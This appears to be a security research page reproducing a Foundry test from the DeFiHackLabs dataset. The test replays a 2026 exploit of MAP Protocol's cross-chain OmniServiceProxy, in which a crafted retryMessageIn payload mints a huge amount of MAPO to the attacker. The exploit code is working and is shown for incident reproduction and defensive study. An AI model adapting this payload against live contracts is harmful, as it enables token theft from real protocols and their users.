Public reproduction file
src/test/2026-05/MAPProtocol_exp.sol
Public reproduction file for dataset entry MAPProtocol.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.13;4import {Test} from "forge-std/Test.sol";5import {console} from "forge-std/console.sol";6import {IERC20} from "forge-std/interfaces/IERC20.sol";8// @KeyInfo - Total Lost : ~$180K9// Attacker : https://etherscan.io/address/0x40592025392bd7d7463711c6e82ed34241b6427910// Attack Contract : https://etherscan.io/address/0x2475396a308861559ef30dc46aad6136367a1c3011// Vulnerable Contract : https://etherscan.io/address/0x0000317bec33af037b5fab2028f52d14658f6a5612// Attack Tx : https://etherscan.io/tx/0x31e56b4737649e0acdb0ebb4eca44d16aeca25f60c022cbde85f092bde27664a13//14// @Info15// Vulnerable Contract Code : https://etherscan.io/address/0x0000317bec33af037b5fab2028f52d14658f6a56#code16//17// @Analysis18// Post-mortem : https://x.com/MapProtocol/status/205958799840949051020contract MAPProtocolTest is Test {21 bytes32 internal constant TX_HASH = 0x31e56b4737649e0acdb0ebb4eca44d16aeca25f60c022cbde85f092bde27664a;22 uint256 internal constant FORK_BLOCK = 25_137_571;24 address internal constant ATTACKER = 0x40592025392BD7d7463711c6E82Ed34241B64279;25 address internal constant EXPLOIT_CONTRACT = 0x2475396A308861559EF30dc46aad6136367a1C30;26 IMAPOmniServiceProxy internal constant OMNI_SERVICE_PROXY = IMAPOmniServiceProxy(0x0000317Bec33Af037b5fAb2028f52d14658F6A56);27 IERC20 internal constant MAPO = IERC20(0x66D79B8f60ec93Bfce0b56F5Ac14A2714E509a99);29 uint256 internal constant MINTED_MAPO = 1_000_000_000_000_000 ether;30 bytes32 internal constant MESSAGE_ROOT = 0x1de78eb8658305a581b2f1610c96707b0204d5cba6a782b313672045fa5a87c8;32 function setUp() public {33 vm.createSelectFork("mainnet", FORK_BLOCK);35 vm.label(ATTACKER, "Attacker");36 vm.label(EXPLOIT_CONTRACT, "Exploit Contract");37 vm.label(address(OMNI_SERVICE_PROXY), "OmniServiceProxy");38 vm.label(address(MAPO), "MAPO");39 }41 function testExploit() public {42 uint256 beforeMapo = MAPO.balanceOf(ATTACKER);43 bytes memory mintParams =44 abi.encode(abi.encodePacked(ATTACKER), abi.encodePacked(ATTACKER), MINTED_MAPO, uint256(18));45 bytes memory messagePayload = abi.encode(46 uint256(1),47 uint256(10_000),48 abi.encodePacked(EXPLOIT_CONTRACT, EXPLOIT_CONTRACT, EXPLOIT_CONTRACT),49 abi.encodePacked(address(MAPO)),50 abi.encode(MESSAGE_ROOT, mintParams)51 );53 vm.prank(ATTACKER, ATTACKER);54 OMNI_SERVICE_PROXY.retryMessageIn(55 142_967_269_125_167_041_077_124_280_185_344_731_231_610_710_977_720_281_833_930_752,56 0xf2fbaa8a33bc05e0454299f2d43ed99fdb5cf024770484bbb598ace5e0c7d4a4,57 address(0),58 0,59 hex"1ad1a4a19bc9983a98f5d9ac8442c6dfc4276167",60 messagePayload,61 ""62 );64 uint256 mintedMapo = MAPO.balanceOf(ATTACKER) - beforeMapo;65 assertEq(mintedMapo, MINTED_MAPO, "MAPO mint mismatch");67 console.log("Stolen MAPO", mintedMapo);68 }69}71interface IMAPOmniServiceProxy {72 function retryMessageIn(73 uint256 fromChain,74 bytes32 orderId,75 address token,76 uint256 amount,77 bytes calldata from,78 bytes calldata message,79 bytes calldata proof80 ) external;81}Analysis
Dataset entry
Public Foundry test for “MAPProtocol” (2026-05-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-05/AdsharesBridge_exp.solSame month in the dataset · 67 lines
- src/test/2026-05/AROS_exp.solSame month in the dataset · 326 lines
- src/test/2026-05/DxSale_exp.solSame month in the dataset · 70 lines
- src/test/2026-05/Ekubo_exp.solSame month in the dataset · 107 lines
- src/test/2026-05/ElevateFi_exp.solSame month in the dataset · 144 lines
- src/test/2026-05/FractalProtocol_exp.solSame month in the dataset · 243 lines
- src/test/2026-05/HumaCreditApprovalBypass_exp.solSame month in the dataset · 101 lines
- src/test/2026-05/INKFinance_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/JoeAgent_exp.solSame month in the dataset · 184 lines
- src/test/2026-05/LegendaryMoneyMonNft_exp.solSame month in the dataset · 145 lines
- src/test/2026-05/MureDistribution_exp.solSame month in the dataset · 172 lines
- src/test/2026-05/NewMarketTrading_exp.solSame month in the dataset · 212 lines
- src/test/2026-05/Renegade_exp.solSame month in the dataset · 224 lines
- src/test/2026-05/SEAToken_exp.solSame month in the dataset · 165 lines
- src/test/2026-05/SharwaMarginTrading_exp.solSame month in the dataset · 271 lines
- src/test/2026-05/SKP_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/SQTokenStaking_exp.solSame month in the dataset · 136 lines
- src/test/2026-05/SquidRouterModule_exp.solSame month in the dataset · 213 lines
- src/test/2026-05/TesseraSwap_exp.solSame month in the dataset · 125 lines
- src/test/2026-05/TrustedVolumes_exp.solSame month in the dataset · 190 lines
- src/test/2026-05/VerusBridge_exp.solSame month in the dataset · 251 lines
- src/test/2026-05/WUSD_exp.solSame month in the dataset · 339 lines
- src/test/2026-05/YSDAO_exp.solSame month in the dataset · 131 lines
Also imports external libraries: forge-std/Test.sol, forge-std/console.sol, forge-std/interfaces/IERC20.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x40592025392bd7d7463711c6e82ed34241b64279
- Attack Contract
0x2475396a308861559ef30dc46aad6136367a1c30
- Vulnerable Contract
0x0000317bec33af037b5fab2028f52d14658f6a56
- Attack Tx
0x31e56b4737649e0acdb0ebb4eca44d16aeca25f60c022cbde85f092bde27664a
- Post: https://x.com/MapProtocol/status/2059587998409490510
- Explorer: https://etherscan.io/address/0x40592025392bd7d7463711c6e82ed34241b64279
- Explorer: https://etherscan.io/address/0x2475396a308861559ef30dc46aad6136367a1c30
- Explorer: https://etherscan.io/address/0x0000317bec33af037b5fab2028f52d14658f6a56
- Explorer: https://etherscan.io/address/0x0000317bec33af037b5fab2028f52d14658f6a56#code
File record
- Name
- MAPProtocol
- Path
- src/test/2026-05/MAPProtocol_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 9b5bd617e3316f00de397ada44597b640184b144
- Language
- Solidity
- Size
- 82 lines
- Date
- 2026-05-20
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-05/MAPProtocol_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9b5bd617e3316f00de397ada44597b640184b144, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.